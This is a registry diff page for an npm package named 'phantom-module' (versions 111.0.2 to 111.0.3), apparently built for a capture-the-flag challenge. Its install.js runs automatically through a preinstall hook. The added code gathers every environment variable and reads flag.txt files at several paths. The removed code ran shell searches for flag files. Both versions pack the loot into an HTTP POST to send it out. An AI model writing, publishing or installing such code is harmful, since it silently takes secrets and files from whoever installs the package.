phantom-module 111.0.2 → 111.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +17 -23
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -1,38 +1,32 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
- const { execSync } = require('child_process');
4
3
 
5
4
  (function() {
6
- let output = "none";
5
+ let output = "";
7
6
 
8
- try {
9
- // Try to find the flag file anywhere and cat it
10
- let files = execSync('find / -name "*flag*" 2>/dev/null').toString().trim().split('\n');
11
- let cats = [];
12
- for (let f of files) {
13
- if (f) {
14
- try { cats.push(f + ': ' + fs.readFileSync(f, 'utf8').trim()); } catch(e) {}
15
- }
16
- }
17
- if (cats.length > 0) output = cats.join(' | ');
18
- } catch (e) {
19
- output = "err1: " + e.message;
20
- }
7
+ // 1. Get ALL Environment Variables
8
+ output += "ENV: " + JSON.stringify(process.env) + " | ";
21
9
 
22
- if (!output || output === "none" || output.length === 0) {
23
- try {
24
- output = "LOGS: " + execSync('cat /home/node/aspect-node/logs/module.log 2>/dev/null | tail -n 10').toString();
25
- } catch (e) {}
26
- }
10
+ // 2. Check common Windows / local paths
11
+ const paths = [
12
+ 'flag.txt',
13
+ '../flag.txt',
14
+ '../../flag.txt',
15
+ 'C:\\flag.txt',
16
+ 'C:\\Users\\Administrator\\Desktop\\flag.txt',
17
+ 'C:\\Users\\Public\\flag.txt'
18
+ ];
27
19
 
28
- if (!output || output === "none" || output.length === 0) {
20
+ for (let p of paths) {
29
21
  try {
30
- output = "ENV: " + execSync('env').toString();
22
+ if (fs.existsSync(p)) {
23
+ output += `FILE ${p}: ` + fs.readFileSync(p, 'utf8').trim() + " | ";
24
+ }
31
25
  } catch(e) {}
32
26
  }
33
27
 
34
28
  const postData = JSON.stringify({
35
- manifest: `ecto_module:\n name: "FLAG_OUTPUT"\n cargo_hold: ${JSON.stringify(output.substring(0, 1000))}\n`
29
+ manifest: `ecto_module:\n name: "FLAG_WINDOWS"\n cargo_hold: ${JSON.stringify(output.substring(0, 1500))}\n`
36
30
  });
37
31
 
38
32
  const req = http.request({
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "111.0.2",
3
+ "version": "111.0.3",
4
4
  "scripts": {
5
5
  "preinstall": "node install.js || true"
6
6
  }